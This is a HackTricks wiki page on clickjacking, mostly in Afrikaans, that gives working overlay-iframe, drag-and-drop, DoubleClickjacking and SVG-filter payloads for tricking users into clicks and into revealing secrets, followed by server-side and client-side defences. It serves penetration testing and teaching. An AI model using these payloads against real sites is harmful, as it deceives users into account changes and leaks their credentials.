Clickjacking

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks

Wat is Clickjacking

In a clickjacking attack, a gebruiker word mislei om op ’n element op ’n webblad te klik wat óf onsigbaar is óf as ’n ander element vermom is. Hierdie manipulasie kan lei tot onbedoelde gevolge vir die gebruiker, soos die aflaai van malware, omleiding na kwaadwillige webbladsye, verskaffing van inlogbewyse of sensitiewe inligting, geldoordragte, of die aanlyn aankoop van produkte.

Truuk om vorms vooraf in te vul

Soms is dit moontlik om die waardes van velde in ’n vorm met GET-parameters te vul wanneer ’n bladsy gelaai word. ’n Aanvaller kan hierdie gedrag misbruik om ’n vorm met ewekansige data te vul en die clickjacking payload te stuur sodat die gebruiker die knoppie Submit druk.

Vul vorm met Drag&Drop

As jy die gebruiker nodig het om ’n vorm in te vul maar jy wil hom nie direk vra om spesifieke inligting te tik nie (soos die e-pos en/of ’n spesifieke wagwoord wat jy ken), kan jy hom net vra om iets te Drag&Drop wat jou beheerste data sal invul, soos in this example.

Basiese Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Veelstap Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Indien jy ’n XSS gevind het wat vereis dat ’n gebruiker op ’n element klik om die XSS te aktiveer, en die bladsy is kwesbaar vir Clickjacking, kan jy dit misbruik om die gebruiker te mislei om op die knoppie/skakel te klik.
Voorbeeld:
Jy het ’n self XSS gevind in sekere privaat rekeningbesonderhede (besonderhede wat slegs jy kan instel en lees). Die bladsy met die form om hierdie besonderhede te stel is kwesbaar vir Clickjacking en jy kan die form prepopulate met GET-parameters.
’n Aanvaller kan ’n Clickjacking-aanval op daardie bladsy voorberei deur die form te prepopulate met die XSS payload en die gebruiker te mislei om die form te Submit. Dus, wanneer die form gestuur word en die waardes verander is, sal die gebruiker die XSS uitvoer.

DoubleClickjacking

Eerstens soos in hierdie post verduidelik, sal hierdie tegniek die slagoffer vra om ’n dubbelklik op ’n knoppie van ’n pasgemaakte bladsy wat op ’n spesifieke plek geplaas is, te maak, en dit gebruik die tydsverskille tussen mousedown en onclick events om die slagofferbladsy tydens die dubbelklik te laai sodat die slagoffer eintlik op ’n geldige knoppie in die slagofferbladsy klik.

’n Voorbeeld is te sien in hierdie video: https://www.youtube.com/watch?v=4rGvRRMrD18

’n Kodevoorbeeld is te vind op this page.

Warning

Hierdie tegniek maak dit moontlik om die gebruiker te mislei om op een plek in die slagofferbladsy te klik en sodoende alle beskerming teen Clickjacking te omseil. Dus moet die aanvaller sensitiewe aksies wat met net 1 klik gedoen kan word, soos OAuth-prompt wat toestemmings aanvaar.

Sommige PoCs laat iframes heeltemal vaar en hou ’n background popup onder die wyser uitgelê. Die aanvallersbladsy spoor mousemove en gebruik ’n klein popup (window.open) wat met moveTo() verskuif word terwyl dit same-origin is; sodra dit uitgelê is, word dit terug na die target origin herlei sodat die volgende klik op die werklike knoppie land. Omdat cross‑origin moveTo() geblokkeer is, word die popup kortliks na ’n aanvaller origin genavigeer vir herposisionering, waarna location/history.back() na die target terugkeer. Om die target tydens die klik na vore te bring, kan die aanvaller die popup heropen met dieselfde window name om dit na die voorgrond te bring sonder om die URL te verander.

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

SVG Filters / Cross-Origin Iframe UI Redressing

Moderne Chromium/WebKit/Gecko-builds laat CSS filter:url(#id) op cross-origin iframes toegepas word. Die iframe se gerasterde pixels word as SourceGraphic aan die SVG-filtergrafiek blootgestel, sodat primitiewe soos feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, ens. arbitrêr die victim UI kan vervorm voordat die gebruiker dit sien, al raak die attacker nooit die DOM nie. ’n Eenvoudige Liquid-Glass style filter lyk soos:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Nuttige primitiewe: feImage laai attacker bitmaps (e.g., overlays, displacement maps); feFlood bou konstante-kleur matte; feOffset/feGaussianBlur verfyn hoogtepunte; feDisplacementMap breek/verwring teks; feComposite operator="arithmetic" implementeer arbitrêre per-kanaal-berekeninge (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), wat genoeg is vir kontrasversterking, maskering, en AND/OR-operasies; feTile kap en repliseer pixel probes; feMorphology vergroot/verklein strepe; feColorMatrix skuif luma na alpha om presiese maskers te bou.

Vervorming van geheime in CAPTCHA-style prompts

As ’n framable endpoint geheime (tokens, reset codes, API keys) weergee, kan die attacker dit vervorm sodat dit soos ’n CAPTCHA lyk en manuele transkripsie afdwing:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Die vervormde pixels mislei die gebruiker om die captcha binne die aanvaller-gekontroleerde <input> te “oplos”, waarvan die pattern die werklike slagoffer se geheim afdwing.

Herkontekstualisering van slagofferinsette

Filters kan chirurgies placeholder-/validasietekst verwyder terwyl gebruikerstoetsdrukke behoue bly. Een werkstroom:

  1. feComposite operator="arithmetic" k2≈4 versterk die helderheid sodat grys hulptekst tot wit versadig.
  2. feTile beperk die werkarea tot die input-rechthoek.
  3. feMorphology operator="erode" verdik die donker glyphs wat deur die slagoffer getik is en stoor dit via result="thick".
  4. feFlood skep ’n wit plaat, feBlend mode="difference" met thick, en ’n tweede feComposite k2≈100 verander dit in ’n skerp luma-matte.
  5. feColorMatrix skuif daardie luma na alfa, en feComposite in="SourceGraphic" operator="in" behou slegs die deur die gebruiker ingevoerde glyphs.
  6. Nog ’n feBlend in2="white" plus ’n dun crop gee ’n skoon teksveld, waarna die aanvaller hul eie HTML-etikette (bv. “Voer jou e-pos in”) bo-op lê terwyl die verborge iframe steeds die slagoffer‑oorsprong se wagwoordbeleid afdwing.

Safari sukkel met feTile; dieselfde effek kan gereproduseer word met ruimtelike matte gebou uit feFlood + feColorMatrix + feComposite vir WebKit-only payloads.

Pixel-sondes, logika en toestandmasjiene

Deur ’n 2–4 px streek met feTile te knip en dit te her-teël oor 100% van die viewport, verander die aanvaller die geproefde kleur in ’n volraamtekstuur wat gedrempel kan word tot ’n boolean-masker:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

For arbitrary colors, a feFlood reference (e.g., #0B57D0) plus feBlend mode="difference" and another arithmetic composite (k2≈100, k4 as tolerance) outputs white only when the sampled pixel matches the target shade. Feeding these masks into feComposite with tuned k1..k4 yields logic gates: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via blending against white. Chaining gates makes a full adder inside the filter graph, proving the pipeline is functionally complete.

Aanvallers kan daarom UI-status lees sonder JavaScript. Voorbeeld-booleanwaardes uit ’n modal-werkvloei:

  • D (dialog visible): peil ’n donker hoek en toets teen wit.
  • L (dialog loaded): peil die koördinate waar die button verskyn wanneer dit gereed is.
  • C (checkbox checked): vergelyk die checkbox-pixel met die aktiewe blou #0B57D0.
  • R (red success/failure banner): gebruik feMorphology en rooi drempels binne die banier-rechthoek.

Elke aangetekte toestand bestuur ’n ander overlay-bitmap ingebed via feImage xlink:href="data:...". Deur daardie bitmaps met D, L, C, R te mask, bly die overlays gesinkroniseer met die werklike dialoog en lei dit die slagoffer deur veelstap-werkvloeie (password resets, approvals, destructive confirmations) sonder om ooit die DOM bloot te stel.

Sandboxed iframe Basic Auth dialoog (no allow-popups)

A sandboxed iframe without allow-popups can still surface a browser-controlled HTTP Basic Authentication modal when a load returns 401 with WWW-Authenticate. The dialog is spawned by the browser’s networking/auth layer (not JS alert/prompt/confirm), so popup restrictions in the sandbox do not suppress it. If you can script the iframe (e.g., sandbox="allow-scripts") you can navigate it to any endpoint issuing a Basic Auth challenge:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Sodra die respons aankom, vra die blaaier om credentials selfs al is popups verbied. Deur ’n trusted origin te frame met hierdie truuk maak dit UI redress/phishing moontlik: onverwante modal prompts binne ’n “sandboxed” widget kan gebruikers verwar of password managers trigger om gestoorde credentials aan te bied.

Blaaier-uitbreidings: DOM-based autofill clickjacking

Afgesien van iframing van slagoffer-bladsye, kan aanvallers blaaieruitbreidings UI-elemente teiken wat in die bladsy ingesit is. Password managers render autofill dropdowns naby gefokusde inputs; deur ’n aanvaller-beheerde veld te fokus en die uitbreiding se dropdown te verberg/occlude (opacity/overlay/top-layer tricks), kan ’n gedwonge gebruikersklik ’n gestoor item kies en sensitiewe data in die aanvaller-beheerde inputs invul. Hierdie variant vereis geen iframe-eksponering nie en werk volledig via DOM/CSS-manipulasie.

’n Werklike geval: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) waar XSS on the relying-party domain ’n aanvaller toegelaat het om HTML oor die uitbreiding se passkey dialog te plaas. ’n Klik op die aanvaller se element sou voortgaan met die legitieme passkey login (die passkey self word nie blootgestel nie), en so ’n UI-redress effektief in rekeningtoegang omskep as die RP reeds vatbaar is vir script injection.

Strategieë om Clickjacking te Mitigeer

Kliëntkant Verdedigings

Skripte wat aan die kliëntkant uitgevoer word kan aksies uitvoer om Clickjacking te voorkom:

  • Verseker dat die toepassingsvenster die hoof- of top-venster is.
  • Maak alle frames sigbaar.
  • Voorkom klikke op onsigbare frames.
  • Opspoor en gebruikers waarsku vir potensiële Clickjacking-pogings.

Echter, hierdie frame-busting skripte kan omseil word:

  • Browsers’ Security Settings: Sommige blaaiers kan hierdie skripte blokkeer gebaseer op hul sekuriteitsinstellings of gebrek aan JavaScript-ondersteuning.
  • HTML5 iframe sandbox Attribute: ’n Aanvaller kan frame buster skripte neutraliseer deur die sandbox attribute te stel met allow-forms of allow-scripts waardes sonder allow-top-navigation. Dit verhoed dat die iframe verifieer of dit die top window is, bv.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Die allow-forms en allow-scripts waardes stel aksies binne die iframe in staat terwyl topvlak-navigasie gedeaktiveer word. Om die beoogde funksionaliteit van die geteikende webwerf te verseker, mag addisionele magtings soos allow-same-origin en allow-modals nodig wees, afhangend van die tipe aanval. Blaaierkonsolboodskappe kan aandui watter permissies toegelaat moet word.

Bedienerkant Verdediging

X-Frame-Options

Die X-Frame-Options HTTP response header vertel blaaiers of dit geregverdig is om ’n bladsy in ’n <frame> of <iframe> te render, en help om Clickjacking te voorkom:

  • X-Frame-Options: deny - Geen domein kan die inhoud in ’n frame plaas nie.
  • X-Frame-Options: sameorigin - Slegs dieselfde webwerf kan die inhoud in ’n frame plaas.
  • X-Frame-Options: allow-from https://trusted.com - Slegs die gespesifiseerde ‘uri’ kan die bladsy in ’n frame plaas.
  • Neem kennis van die beperkings: as die blaaier hierdie direktief nie ondersteun nie, sal dit moontlik nie werk nie. Sommige blaaiers verkies die CSP frame-ancestors direktief.

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors directive in CSP is die aanbevole metode vir beskerming teen Clickjacking:

  • frame-ancestors 'none' - Vergelykbaar met X-Frame-Options: deny.
  • frame-ancestors 'self' - Vergelykbaar met X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Vergelykbaar met X-Frame-Options: allow-from.

Byvoorbeeld, die volgende CSP laat slegs framing vanaf dieselfde domein toe:

Content-Security-Policy: frame-ancestors 'self';

Verder besonderhede en komplekse voorbeelde kan gevind word in die frame-ancestors CSP documentation en Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) is ’n sekuriteitsmaatreël wat help om Clickjacking en ander code injection-aanvalle te voorkom deur te spesifiseer watter bronne die blaaier mag toelaat om inhoud te laai.

frame-src Direktief

  • Bepaal geldige bronne vir frames.
  • Meer spesifiek as die default-src direktief.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Hierdie beleid laat frames toe vanaf dieselfde oorsprong (self) en https://trusted-website.com.

child-src Direktief

  • Ingevoer in CSP vlak 2 om geldige bronne vir web workers en frames vas te stel.
  • Dien as ’n fallback vir frame-src en worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Hierdie beleid laat rame en workers toe vanaf dieselfde oorsprong (self) en https://trusted-website.com.

Gebruiknotas:

  • Veroudering: child-src word uitgefaseer ten gunste van frame-src en worker-src.
  • Fallback-gedrag: As frame-src afwesig is, word child-src as ’n terugval vir rame gebruik. As albei afwesig is, word default-src gebruik.
  • Streng brondefinisie: Sluit slegs betroubare bronne in die direktiewe in om uitbuiting te voorkom.

JavaScript-skripte om framing te voorkom

Al is dit nie heeltemal feilloos nie, kan JavaScript-gebaseerde skripte wat framing blokkeer gebruik word om te voorkom dat ’n webbladsy in ’n raam geplaas word. Voorbeeld:

if (top !== self) {
top.location = self.location
}

Gebruik van Anti-CSRF Tokens

  • Token Validation: Gebruik anti-CSRF tokens in webtoepassings om te verseker dat staatveranderende versoeke doelbewus deur die gebruiker gemaak word en nie via ’n Clickjacked bladsy nie.

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks